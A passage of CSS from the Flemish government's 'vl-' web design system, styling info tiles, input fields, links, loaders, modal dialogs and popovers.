        padding: 2.5rem
      }

      @media screen and (max-width:767px) {
        .vl-info-tile--m {
          padding: 2rem
        }
      }

      .vl-info-tile--l {
        padding: 4.5rem
      }

      @media screen and (max-width:767px) {
        .vl-info-tile--l {
          padding: 2rem
        }
      }

      .vl-info-tile--center {
        text-align: center
      }

      .vl-info-tile--center .vl-info-tile__header {
        display: block;
        margin-bottom: 1.6rem
      }

      .vl-info-tile--center .vl-info-tile__header__wrapper {
        width: 100%
      }

      .vl-info-tile--center .vl-info-tile__header__icon:not(.vl-badge) {
        color: #cbd2da;
        display: inline-block;
        font-size: 3rem;
        line-height: 1
      }

      .vl-info-tile--center .vl-info-tile__footer {
        margin-top: 2rem
      }

      .vl-info-tile--v-center {
        display: flex;
        flex-direction: column;
        justify-content: center
      }

      .vl-info-tile.vl-js-equal-height {
        height: 100%
      }

      .vl-info-tile--date {
        align-items: stretch;
        display: flex;
        padding: 0
      }

      .vl-info-tile--date[href] .vl-info-tile__date {
        color: #fff
      }

      .vl-info-tile--date .vl-info-tile__date {
        background-color: #f7f9fc;
        padding: 1.7rem
      }

      @media screen and (max-width:767px) {
        .vl-info-tile--date .vl-info-tile__date {
          padding: 1rem
        }
      }

      .vl-info-tile--date .vl-info-tile__date__main {
        font-weight: 700;
        text-align: center
      }

      .vl-info-tile--date .vl-info-tile__date__sub {
        font-size: 1.4rem;
        text-align: center
      }

      .vl-info-tile--date .vl-info-tile__date__wrapper {
        flex: 1;
        padding: 1.7rem
      }

      @media screen and (max-width:767px) {
        .vl-info-tile--date .vl-info-tile__date__wrapper {
          padding: 1rem
        }
      }

      .vl-info-tile--badge-bottom .vl-info-tile__content {
        display: flex
      }

      .vl-info-tile__badges {
        display: flex;
        flex-direction: column;
        flex-shrink: 0;
        justify-content: flex-end;
        margin-left: 1.7rem
      }

      .vl-info-tile__badges__badge:not(:first-of-type) {
        margin-top: .5rem
      }

      .vl-info-tile--highlight {
        box-shadow: inset 0 .5rem 0 0 #ffed00;
        box-shadow: inset 0 .5rem 0 0 var(--vl-theme-accent-color, var(--vl-theme-primary-color))
      }

      .vl-info-tile__header {
        align-items: center;
        display: flex;
        flex: 1;
        flex-direction: row;
        justify-content: flex-start
      }

      .vl-info-tile__header .vl-info-tile__badge__wrapper {
        flex-shrink: 0;
        line-height: 0;
        margin-right: 1.4rem
      }

      .vl-info-tile__header .vl-info-tile__header__wrapper {
        flex-grow: 1
      }

      .vl-info-tile__header--with-extension {
        flex-grow: 0;
        justify-content: space-between
      }

      .vl-info-tile__header__title {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.8rem;
        line-height: 1.25
      }

      @media screen and (max-width:767px) {
        .vl-info-tile__header__title {
          font-size: 1.5rem
        }
      }

      .vl-info-tile__header__subtitle {
        color: #687483;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.4rem;
        line-height: 1.3;
        margin-top: .3rem
      }

      .vl-info-tile__content {
        color: #333332;
        flex: 1;
        font-size: 1.6rem;
        margin-top: 1rem
      }

      @media screen and (max-width:767px) {
        .vl-info-tile__content {
          font-size: 1.5rem
        }
      }

      .vl-info-tile__content__wrapper {
        flex: 1
      }

      .vl-input-field {
        -webkit-appearance: none;
        -moz-appearance: textfield;
        background: #fff;
        border: .1rem solid #8695a8;
        border-radius: .3rem;
        color: #333332;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        height: 3.5rem;
        line-height: 3.5rem;
        max-width: 100%;
        padding: 0 1rem;
        transition: background-color .2s
      }

      @media screen and (max-width:767px) {
        .vl-input-field {
          font-size: 1.6rem
        }
      }

      .vl-input-field:hover {
        border: .2rem solid rgba(0, 85, 204, .65);
        padding: 0 .9rem
      }

      .vl-input-field:hover.invalid.validated,
      .vl-input-field:hover.vl-input-field--error {
        border-color: #d2373c
      }

      .vl-input-field:hover.valid.validated,
      .vl-input-field:hover.vl-input-field--success {
        border-color: #009e47
      }

      .vl-input-field:hover.vl-input-field--small {
        padding: 0 .7rem
      }

      .vl-input-field--focus,
      .vl-input-field:focus {
        border: .1rem solid #8695a8;
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent;
        padding: 0 1rem
      }

      @supports(outline-offset:2px) {

        .vl-input-field--focus,
        .vl-input-field:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-input-field--focus.invalid.validated,
      .vl-input-field--focus.vl-input-field--error,
      .vl-input-field:focus.invalid.validated,
      .vl-input-field:focus.vl-input-field--error {
        border-color: #d2373c
      }

      .vl-input-field--focus.valid.validated,
      .vl-input-field--focus.vl-input-field--success,
      .vl-input-field:focus.valid.validated,
      .vl-input-field:focus.vl-input-field--success {
        border-color: #009e47
      }

      .vl-input-field--focus:hover,
      .vl-input-field:focus:hover {
        padding: 0 1rem
      }

      .vl-input-field--focus.vl-input-field--small,
      .vl-input-field:focus.vl-input-field--small {
        padding: 0 .8rem
      }

      .vl-input-field::-moz-placeholder {
        color: #687483
      }

      .vl-input-field::placeholder {
        color: #687483
      }

      .vl-input-field::-webkit-search-cancel-button {
        -webkit-appearance: none
      }

      .vl-input-field--block {
        display: block;
        width: 100%
      }

      .vl-input-field--small {
        max-width: 6rem;
        padding: 0 .8rem
      }

      .vl-input-field--error,
      .vl-input-field.invalid.validated {
        background-color: #fbebec;
        border-color: #d2373c;
        display: inline
      }

      .vl-input-field--error .js-vl-select[data-type*=select-multiple],
      .vl-input-field--error .js-vl-select[data-type*=select-one],
      .vl-input-field--error .vl-select,
      .vl-input-field.invalid.validated .js-vl-select[data-type*=select-multiple],
      .vl-input-field.invalid.validated .js-vl-select[data-type*=select-one],
      .vl-input-field.invalid.validated .vl-select {
        background-color: #fbebec;
        border-color: #d2373c
      }

      .vl-input-field--error .js-vl-select[data-type*=select-multiple] .vl-select__inner,
      .vl-input-field--error .js-vl-select[data-type*=select-one] .vl-select__inner,
      .vl-input-field.invalid.validated .js-vl-select[data-type*=select-multiple] .vl-select__inner,
      .vl-input-field.invalid.validated .js-vl-select[data-type*=select-one] .vl-select__inner {
        background-color: #fbebec;
        background-color: transparent;
        border-color: #d2373c
      }

      .vl-input-field--success,
      .vl-input-field.valid.validated {
        background-color: #e6f5ed;
        border-color: #009e47;
        display: inline
      }

      .vl-input-field--success .js-vl-select[data-type*=select-multiple],
      .vl-input-field--success .js-vl-select[data-type*=select-one],
      .vl-input-field--success .vl-select,
      .vl-input-field.valid.validated .js-vl-select[data-type*=select-multiple],
      .vl-input-field.valid.validated .js-vl-select[data-type*=select-one],
      .vl-input-field.valid.validated .vl-select {
        background-color: #e6f5ed;
        border-color: #009e47
      }

      .vl-input-field--success .js-vl-select[data-type*=select-multiple] .vl-select__inner,
      .vl-input-field--success .js-vl-select[data-type*=select-one] .vl-select__inner,
      .vl-input-field.valid.validated .js-vl-select[data-type*=select-multiple] .vl-select__inner,
      .vl-input-field.valid.validated .js-vl-select[data-type*=select-one] .vl-select__inner {
        background-color: #e6f5ed;
        background-color: transparent;
        border-color: #009e47
      }

      .vl-input-field--disabled,
      .vl-input-field[disabled] {
        background-color: #f3f5f6;
        border-color: #8695a8
      }

      .vl-input-field--disabled:hover,
      .vl-input-field[disabled]:hover {
        border-width: .1rem;
        padding: 0 1rem
      }

      .vl-input-field--inline {
        display: block;
        max-width: 100%;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-input-field--inline {
          display: block;
          width: auto
        }
      }

      .vl-input-field--inline .vl-input-field__submit {
        color: #fff;
        display: block;
        height: 3.5rem;
        margin-bottom: -2rem;
        opacity: 0;
        padding: 0;
        position: absolute;
        right: 0;
        top: 0;
        transform: translateX(100%);
        width: 4.3rem;
        z-index: -1
      }

      .vl-input-field--inline .vl-input-field__submit:focus {
        opacity: 1;
        transform: translateX(0);
        transition: opacity .2s, transform .2s;
        z-index: 1
      }

      .vl-input-field--inline .vl-input-field__submit:before {
        font-size: 1.7rem;
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate(-50%, -50%)
      }

      .vl-input-field--inline .vl-input-field__input {
        display: block;
        padding-right: 5rem;
        text-align: left;
        width: 100%
      }

      .vl-input-field--inline .vl-input-field__input--focus,
      .vl-input-field--inline .vl-input-field__input:focus {
        padding-right: 0;
        transition: width .2s;
        width: calc(100% - 5.2rem)
      }

      .vl-input-field--inline .vl-input-field__input--focus+.vl-input-field__submit,
      .vl-input-field--inline .vl-input-field__input:focus+.vl-input-field__submit {
        opacity: 1;
        transform: translateX(0);
        transition: opacity .2s, transform .2s;
        z-index: 1
      }

      .vl-input-addon {
        align-items: center;
        background: #fff;
        border: .1rem solid #8695a8;
        color: #333332;
        display: inline-flex;
        font-size: 1.6rem;
        height: 3.5rem;
        justify-content: center;
        line-height: 3.5rem;
        margin: 0;
        min-width: 3.5rem;
        padding: 0 1rem;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-input-addon[href] .vl-vi,
      .vl-input-addon[type=button] .vl-vi {
        color: #05c
      }

      .vl-input-addon[href]:hover,
      .vl-input-addon[type=button]:hover {
        background: rgba(179, 207, 245, .3);
        border-color: rgba(0, 85, 204, .65);
        box-shadow: inset 0 0 0 .1rem rgba(0, 85, 204, .65)
      }

      .vl-input-addon[href]:focus .vl-vi,
      .vl-input-addon[href]:hover .vl-vi,
      .vl-input-addon[type=button]:focus .vl-vi,
      .vl-input-addon[type=button]:hover .vl-vi {
        color: #004ab3
      }

      .vl-input-addon[href]:focus,
      .vl-input-addon[type=button]:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {

        .vl-input-addon[href]:focus,
        .vl-input-addon[type=button]:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-input-addon[href]:hover:focus,
      .vl-input-addon[type=button]:hover:focus {
        box-shadow: inset 0 0 0 .1rem rgba(0, 85, 204, .65), 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65)
      }

      .vl-input-addon--disabled[href],
      .vl-input-addon--disabled[type=button] {
        background-color: #cbd2d9;
        cursor: not-allowed
      }

      .vl-input-addon--disabled[href] .vl-vi,
      .vl-input-addon--disabled[type=button] .vl-vi {
        color: #687483
      }

      .vl-input-addon--disabled[href]:active,
      .vl-input-addon--disabled[href]:hover,
      .vl-input-addon--disabled[type=button]:active,
      .vl-input-addon--disabled[type=button]:hover {
        background-color: #cbd2d9;
        border-color: #cbd2d9
      }

      .vl-input-addon--disabled[href]:active .vl-vi,
      .vl-input-addon--disabled[href]:focus .vl-vi,
      .vl-input-addon--disabled[href]:hover .vl-vi,
      .vl-input-addon--disabled[type=button]:active .vl-vi,
      .vl-input-addon--disabled[type=button]:focus .vl-vi,
      .vl-input-addon--disabled[type=button]:hover .vl-vi {
        color: #687483
      }

      .vl-input-addon .vl-vi {
        color: inherit;
        display: inline-flex
      }

      .vl-input-addon .vl-vi:after,
      .vl-input-addon .vl-vi:before {
        font-size: 1.8rem
      }

      .vl-input-group {
        align-items: stretch;
        display: flex
      }

      .vl-input-group .vl-button,
      .vl-input-group .vl-input-addon {
        flex-shrink: 0
      }

      .vl-input-group .vl-button:focus,
      .vl-input-group .vl-input-addon:focus {
        z-index: 1
      }

      .vl-input-group :first-child {
        border-bottom-left-radius: .3rem;
        border-bottom-right-radius: 0;
        border-right-width: 0;
        border-top-left-radius: .3rem;
        border-top-right-radius: 0
      }

      .vl-input-group :first-child:focus {
        border-right-width: 1px;
        z-index: 1
      }

      .vl-input-group .vl-input-field+.vl-button,
      .vl-input-group .vl-input-field+.vl-input-addon {
        margin-left: -.1rem
      }

      .vl-input-group .vl-button+.vl-input-field,
      .vl-input-group .vl-input-addon+.vl-input-field,
      .vl-input-group .vl-input-field+.vl-button,
      .vl-input-group .vl-input-field+.vl-input-addon {
        border-bottom-left-radius: 0;
        border-bottom-right-radius: .3rem;
        border-top-left-radius: 0;
        border-top-right-radius: .3rem
      }

      .vl-input-group .vl-button+.vl-input-field {
        border-left-width: 0;
        padding-left: 1.1rem
      }

      .vl-input-group .vl-button+.vl-input-field:focus {
        padding-left: 1rem
      }

      .vl-input-group .vl-input-addon,
      .vl-input-group .vl-input-field {
        position: relative
      }

      .vl-input-group .vl-input-addon:focus,
      .vl-input-group .vl-input-field:focus {
        border-left-width: 1px;
        z-index: 1
      }

      .vl-input-group--inline {
        display: inline-flex
      }

      [type=submit].vl-link.vl-link--icon {
        padding-left: 1.8rem
      }

      button.vl-link {
        cursor: default
      }

      .vl-link {
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: transparent;
        border: 0;
        border-radius: 0;
        color: #05c;
        color: var(--vl-theme-action-color, #05c);
        cursor: pointer;
        display: inline-block;
        font-family: inherit;
        font-size: inherit;
        font-weight: inherit;
        line-height: inherit;
        padding: 0;
        position: relative;
        text-align: left;
        -webkit-text-decoration: underline;
        text-decoration: underline;
        word-break: break-word
      }

      .vl-link:active,
      .vl-link:focus,
      .vl-link:hover {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-link:active,
      .vl-link:focus,
      .vl-link:hover {
        color: #004ab3;
        color: var(--vl-theme-action-hover-color, #004ab3)
      }

      .vl-link:active,
      .vl-link:focus {
        color: #004099;
        color: var(--vl-theme-action-active-color, #004099)
      }

      .vl-link--bold {
        font-weight: 500;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-link--bold:active,
      .vl-link--bold:focus,
      .vl-link--bold:hover {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-link--small {
        font-size: 1.6rem
      }

      @media screen and (max-width:767px) {
        .vl-link--small {
          font-size: 1.5rem
        }
      }

      .vl-link--large {
        font-size: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-link--large {
          font-size: 1.8rem
        }
      }

      .vl-link--block {
        display: block
      }

      .vl-link--inline {
        display: inline
      }

      .vl-link--flex {
        align-items: center;
        display: flex
      }

      .vl-link--error {
        color: #d2373c
      }

      .vl-link--error:active,
      .vl-link--error:focus,
      .vl-link--error:hover,
      .vl-link--error:visited {
        color: #aa2729
      }

      .vl-link--neutral,
      .vl-link--neutral:active,
      .vl-link--neutral:focus,
      .vl-link--neutral:hover,
      .vl-link--neutral:visited {
        color: #333332
      }

      .vl-link__icon {
        color: inherit;
        flex-shrink: 0;
        line-height: 1;
        margin-top: -.1em;
        overflow: hidden;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none;
        vertical-align: middle
      }

      .vl-link__icon,
      .vl-link__icon:after,
      .vl-link__icon:before {
        display: inline-block
      }

      .vl-link__icon--before {
        padding-right: .4rem
      }

      .vl-link__icon--after {
        padding-left: .4rem
      }

      .vl-link__icon--standalone {
        float: none;
        padding: 0;
        position: relative
      }

      .vl-link__icon--light {
        color: #687483
      }

      .vl-link__icon--neutral {
        color: #333332
      }

      .vl-link__icon--borderless {
        overflow: visible
      }

      .vl-link__icon--borderless:after {
        background-color: #fff;
        bottom: 0;
        content: "";
        display: block;
        height: .1rem;
        left: 0;
        margin-bottom: -.3rem;
        position: absolute;
        width: 100%
      }

      .vl-link__icon.vl-vi-external {
        font-size: 1em
      }

      .vl-link-list__item {
        font-size: 1.8rem;
        line-height: 1.5
      }

      .vl-link-list__item:not(:last-of-type) {
        margin-bottom: 2rem
      }

      .vl-link-list__item:last-child {
        margin-bottom: 0;
        padding-bottom: 0
      }

      @media screen and (max-width:767px) {
        .vl-link-list__item {
          font-size: 1.6rem
        }
      }

      .vl-link-list--bordered .vl-link-list__item {
        border-bottom: 1px solid #cbd2d9;
        margin-bottom: 1.3rem;
        padding-bottom: 1.3rem
      }

      .vl-region--alt .vl-link-list--bordered .vl-link-list__item {
        border-bottom-color: #aeb9c3
      }

      .vl-link-list--bordered .vl-link-list__item--no-border {
        border-bottom: 0
      }

      .vl-link-list--bordered-alt .vl-link-list__item {
        border-bottom-style: solid;
        border-bottom-width: 1px;
        -o-border-image: linear-gradient(90deg, #cbd2d9, #cbd2d9 40px, transparent 41px, transparent);
        border-image: linear-gradient(90deg, #cbd2d9, #cbd2d9 40px, transparent 41px, transparent);
        border-image-slice: 1;
        margin-bottom: 1.3rem;
        padding-bottom: 1.3rem;
        position: relative
      }

      .vl-region--alt .vl-link-list--bordered-alt .vl-link-list__item {
        border-bottom-color: #aeb9c3
      }

      .vl-link-list--bordered-alt .vl-link-list__item--no-border {
        border-bottom: 0
      }

      .vl-link-list--small .vl-link-list__item {
        font-size: 1.6rem
      }

      .vl-link-list--inline {
        align-items: center;
        display: flex;
        flex-wrap: wrap;
        margin: 0 -.75rem
      }

      .vl-link-list--inline .vl-link-list__item {
        margin-bottom: 1rem;
        padding: 0 .75rem
      }

      .vl-link-list--display-inline {
        display: inline-flex
      }

      .vl-loader {
        display: inline-block;
        height: 1.8rem;
        position: relative;
        width: 3rem
      }

      .vl-loader:before {
        animation: loader-wave 1s linear infinite;
        border-radius: 50%;
        box-shadow: 1rem 0 #687483, 2rem 0 #687483, 3rem 0 #687483;
        content: "";
        display: block;
        height: .4rem;
        left: 50%;
        margin-left: -2.2rem;
        margin-top: -.2rem;
        position: absolute;
        top: 50%;
        width: .4rem
      }

      @keyframes loader-wave {
        0% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }

        10% {
          box-shadow: 10px -3px #687483, 20px 0 #687483, 30px 0 #687483
        }

        20% {
          box-shadow: 10px -6px #687483, 20px -3px #687483, 30px 0 #687483
        }

        30% {
          box-shadow: 10px -3px #687483, 20px -6px #687483, 30px -3px #687483
        }

        40% {
          box-shadow: 10px 0 #687483, 20px -3px #687483, 30px -6px #687483
        }

        50% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px -3px #687483
        }

        60% {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }

        to {
          box-shadow: 10px 0 #687483, 20px 0 #687483, 30px 0 #687483
        }
      }

      .vl-loader--light:before {
        animation: loader-light-wave 1s linear infinite
      }

      @keyframes loader-light-wave {
        0% {
          box-shadow: 10px 0 #fff, 20px 0 #fff, 30px 0 #fff
        }

        10% {
          box-shadow: 10px -3px #fff, 20px 0 #fff, 30px 0 #fff
        }

        20% {
          box-shadow: 10px -6px #fff, 20px -3px #fff, 30px 0 #fff
        }

        30% {
          box-shadow: 10px -3px #fff, 20px -6px #fff, 30px -3px #fff
        }

        40% {
          box-shadow: 10px 0 #fff, 20px -3px #fff, 30px -6px #fff
        }

        50% {
          box-shadow: 10px 0 #fff, 20px 0 #fff, 30px -3px #fff
        }

        60% {
          box-shadow: 10px 0 #fff, 20px 0 #fff, 30px 0 #fff
        }

        to {
          box-shadow: 10px 0 #fff, 20px 0 #fff, 30px 0 #fff
        }
      }

      .vl-loader--small:before {
        height: .3rem;
        width: .3rem
      }

      .vl-loader+p {
        font-style: 1.6rem
      }

      .vl-loader-alert--inline {
        display: inline-flex;
        vertical-align: middle
      }

      .vl-loader-alert .vl-loader:before {
        margin-top: 0
      }

      .vl-modal .backdrop,
      .vl-modal .vl-modal__backdrop {
        background-color: rgba(232, 235, 238, .95);
        bottom: 0;
        left: 0;
        opacity: .95;
        position: fixed;
        right: 0;
        top: 0;
        z-index: 10008
      }

      .vl-modal .vl-modal-dialog__title {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2.6rem;
        font-weight: 500;
        line-height: 1.3;
        margin-bottom: 1.5rem
      }

      @media screen and (max-width:767px) {
        .vl-modal .vl-modal-dialog__title {
          font-size: 2.2rem;
          margin-bottom: 1.5rem
        }
      }

      .vl-modal-backdrop {
        background-color: rgba(232, 235, 238, .95);
        bottom: 0;
        left: 0;
        opacity: .95;
        position: fixed;
        right: 0;
        top: 0;
        z-index: 10008
      }

      .vl-modal-backdrop--hidden {
        display: none
      }

      .vl-modal-dialog {
        background-color: #fff;
        border: 0;
        box-shadow: 0 0 2.1rem 0 rgba(0, 0, 0, .3);
        display: none;
        left: 50%;
        margin: 0;
        max-height: 85vh;
        max-width: 95vw;
        padding: 0;
        position: fixed;
        top: 50%;
        transform: translate(-50%, -50%);
        width: 60rem;
        z-index: 10010
      }

      .vl-modal-dialog::backdrop {
        background-color: rgba(232, 235, 238, .95);
        bottom: 0;
        left: 0;
        opacity: .95;
        position: fixed;
        right: 0;
        top: 0;
        z-index: 10008
      }

      .vl-modal-dialog.vl-modal-dialog--opened,
      .vl-modal-dialog[open] {
        display: flex;
        flex-direction: column
      }

      .vl-modal-dialog.vl-modal-dialog--opened:focus,
      .vl-modal-dialog[open]:focus {
        outline: 3px auto #ffc515
      }

      @media screen and (max-width:767px) {

        .vl-modal-dialog.vl-modal-dialog--opened.vl-modal-dialog--closable,
        .vl-modal-dialog[open].vl-modal-dialog--closable {
          max-height: calc(100% - 50px)
        }

        .vl-modal-dialog {
          bottom: 0;
          left: 0;
          max-width: none;
          right: 0;
          top: auto;
          transform: none;
          width: 100vw
        }
      }

      .vl-modal-dialog--static {
        position: static;
        transform: none
      }

      .vl-modal-dialog--medium {
        width: 80rem
      }

      .vl-modal-dialog--large {
        width: 100rem
      }

      @media screen and (max-width:767px) {
        .vl-modal-dialog--large {
          width: 100vw
        }
      }

      .vl-modal-dialog--left,
      .vl-modal-dialog--right {
        height: 100vh;
        left: auto;
        max-height: none;
        right: auto;
        top: 0;
        transform: none
      }

      @media screen and (max-width:767px) {

        .vl-modal-dialog--left,
        .vl-modal-dialog--right {
          bottom: 0;
          height: auto;
          left: 0;
          max-width: none;
          right: 0;
          top: auto;
          transform: none;
          width: 100vw
        }

        .vl-modal-dialog--left.vl-modal-dialog--mobile-left,
        .vl-modal-dialog--left.vl-modal-dialog--mobile-right,
        .vl-modal-dialog--right.vl-modal-dialog--mobile-left,
        .vl-modal-dialog--right.vl-modal-dialog--mobile-right {
          height: 100vh
        }
      }

      .vl-modal-dialog--bottom,
      .vl-modal-dialog--top {
        left: 0;
        max-width: none;
        right: 0;
        top: auto;
        transform: none;
        width: 100vw
      }

      .vl-modal-dialog--right {
        right: 0
      }

      .vl-modal-dialog--left {
        left: 0
      }

      .vl-modal-dialog--bottom {
        bottom: 0
      }

      .vl-modal-dialog--top {
        top: 0
      }

      @media screen and (max-width:767px) {
        .vl-modal-dialog--top:not(.vl-modal-dialog--mobile-top) {
          top: auto
        }
      }

      .vl-modal-dialog__header {
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-modal-dialog__header {
          margin-bottom: 1.5rem
        }
      }

      .vl-modal-dialog__footer {
        margin-top: 3rem
      }

      @media screen and (max-width:767px) {
        .vl-modal-dialog__footer {
          margin-top: 1.5rem
        }
      }

      .modal-fade-enter-active,
      .modal-fade-leave-active {
        transition: opacity .3s ease-in-out
      }

      @media screen and (max-width:767px) {

        .modal-fade-enter-active,
        .modal-fade-leave-active {
          transition: transform .3s ease-in-out
        }
      }

      .modal-fade-enter {
        opacity: 0
      }

      @media screen and (max-width:767px) {
        .modal-fade-enter {
          opacity: 1;
          transform: translateY(100%)
        }
      }

      .modal-fade-leave-to {
        opacity: 0
      }

      @media screen and (max-width:767px) {
        .modal-fade-leave-to {
          opacity: 1;
          transform: translateY(100%)
        }
      }

      .modal-slide-from-bottom-enter-active,
      .modal-slide-from-bottom-leave-active,
      .modal-slide-from-left-enter-active,
      .modal-slide-from-left-leave-active,
      .modal-slide-from-right-enter-active,
      .modal-slide-from-right-leave-active,
      .modal-slide-from-top-enter-active,
      .modal-slide-from-top-leave-active {
        transition: transform .3s ease-in-out
      }

      .modal-slide-from-right-enter,
      .modal-slide-from-right-leave-to {
        transform: translate(100%)
      }

      @media screen and (max-width:767px) {

        .modal-slide-from-right-enter:not(.vl-modal-dialog--mobile-right),
        .modal-slide-from-right-leave-to:not(.vl-modal-dialog--mobile-right) {
          transform: translateY(100%)
        }
      }

      .modal-slide-from-left-enter,
      .modal-slide-from-left-leave-to {
        transform: translate(-100%)
      }

      @media screen and (max-width:767px) {

        .modal-slide-from-left-enter:not(.vl-modal-dialog--mobile-left),
        .modal-slide-from-left-leave-to:not(.vl-modal-dialog--mobile-left) {
          transform: translateY(100%)
        }
      }

      .modal-slide-from-top-enter,
      .modal-slide-from-top-leave-to {
        transform: translateY(-100%)
      }

      @media screen and (max-width:767px) {

        .modal-slide-from-top-enter:not(.vl-modal-dialog--mobile-top),
        .modal-slide-from-top-leave-to:not(.vl-modal-dialog--mobile-top) {
          transform: translateY(100%)
        }
      }

      .modal-slide-from-bottom-enter,
      .modal-slide-from-bottom-leave-to {
        transform: translateY(100%)
      }

      .vl-modal-dialog__wrapper {
        overflow: auto;
        padding: 3rem
      }

      @media screen and (max-width:767px) {
        .vl-modal-dialog__wrapper {
          padding: 1.5rem
        }
      }

      .vl-modal-dialog--mobile-left .vl-modal-dialog__mobile-close,
      .vl-modal-dialog--mobile-right .vl-modal-dialog__mobile-close,
      .vl-modal-dialog--mobile-top .vl-modal-dialog__mobile-close {
        display: none
      }

      @media screen and (max-width:767px) {

        .vl-modal-dialog--mobile-left .vl-modal-dialog__close,
        .vl-modal-dialog--mobile-right .vl-modal-dialog__close,
        .vl-modal-dialog--mobile-top .vl-modal-dialog__close {
          display: block
        }
      }

      .vl-modal-dialog__close {
        align-items: center;
        background: none;
        border: 0;
        justify-content: center;
        line-height: 1;
        overflow: hidden;
        padding: 1rem;
        position: absolute;
        right: .6rem;
        top: .6rem
      }

      .vl-modal-dialog__close,
      .vl-modal-dialog__close:focus .vl-modal-dialog__close__icon,
      .vl-modal-dialog__close:hover .vl-modal-dialog__close__icon {
        color: #05c;
        color: var(--vl-theme-action-color, #05c)
      }

      @media screen and (max-width:767px) {
        .vl-modal-dialog__close {
          display: none
        }
      }

      .vl-modal-dialog__close__icon {
        display: flex;
        font-size: 1.4rem;
        line-height: 1
      }

      .vl-modal-dialog__close__icon:after,
      .vl-modal-dialog__close__icon:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-modal-dialog__close__icon:before {
        content: "";
        font-weight: 700
      }

      .vl-modal-dialog__mobile-close {
        display: none;
        font-size: 1.4rem;
        position: absolute;
        right: .5rem;
        top: 0
      }

      @media screen and (max-width:767px) {
        .vl-modal-dialog__mobile-close {
          display: inline-flex;
          top: -4.5rem
        }
      }

      .vl-modal-dialog__footer .vl-action-group {
        margin-top: 1.5rem
      }

      @keyframes slideIn {
        0% {
          display: none
        }

        1% {
          display: block;
          opacity: 0
        }

        to {
          opacity: 1;
          transform: translateY(0)
        }
      }

      @keyframes slideOut {
        0% {
          display: block;
          opacity: 1;
          transform: translateY(0)
        }

        99% {
          opacity: 0;
          transform: translateY(120%)
        }

        to {
          display: none
        }
      }

      .vl-popover {
        display: inline-block;
        position: relative
      }

      .vl-popover .vl-popover__arrow {
        border-color: transparent transparent #cfd5dd;
        border-style: solid;
        border-width: 0 .9rem .9rem;
        bottom: -1.1rem;
        display: none;
        position: absolute;
        right: .5rem;
        z-index: 99999
      }

      .vl-popover .vl-popover__arrow:before {
        border-color: transparent transparent #fff;
        border-style: solid;
        border-width: 0 .9rem .9rem;
        content: "";
        position: absolute;
        transform: translate(-50%, 1px)
      }

      @media screen and (max-width:767px) {
        .vl-popover .vl-popover__arrow {
          display: none
        }
      }

      .vl-popover--static {
        position: static
      }

      .vl-popover--static .vl-popover__arrow {
        position: relative
      }

      .vl-popover--align-left .vl-popover__arrow {
        left: .4rem;
        right: auto
      }

      .vl-popover--align-center .vl-popover__arrow {
        left: 50%;
        margin: auto;
        right: auto;
        transform: translateX(-50%)
      }

      .vl-popover--align-top .vl-popover__arrow {
        bottom: auto;
        top: -1rem;
        transform: scale(-1)
      }

      .vl-popover .vl-popover__toggle {
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: transparent;
        border: 0;
        border-radius: 0;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        padding: 0;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-popover .vl-popover__toggle .vl-vi-arrow {
        transition: transform .2s cubic-bezier(1, .1, 0, .9)
      }

      .vl-popover .vl-popover__toggle .vl-popover__toggle-icon {
        margin-left: .8rem
      }

      .vl-popover .vl-popover__toggle .vl-badge {
        margin-top: .5rem
      }

      .vl-popover.js-vl-popover--open .vl-popover__arrow {
        display: block
      }

      @media screen and (max-width:767px) {
        .vl-popover.js-vl-popover--open .vl-popover__arrow {
          display: none
        }

        .vl-popover.js-vl-popover--open .vl-popover__content {
          animation: slideIn .5s cubic-bezier(1, .1, 0, .9);
          animation-fill-mode: forwards;
          display: block;
          opacity: 0
        }
      }

      @media screen and (min-width:767.1px) {
        .vl-popover.js-vl-popover--open .vl-popover__content {
          opacity: 1;
          visibility: visible
        }
      }

      .vl-popover.js-vl-popover--open .vl-vi-arrow {
        transform: rotate(-180deg)
      }

      @media screen and (max-width:767px) {
        .vl-popover.js-vl-popover--closing .vl-popover__content {
          animation: slideOut .5s cubic-bezier(1, .1, 0, .9);
          animation-fill-mode: forwards;
          display: block;
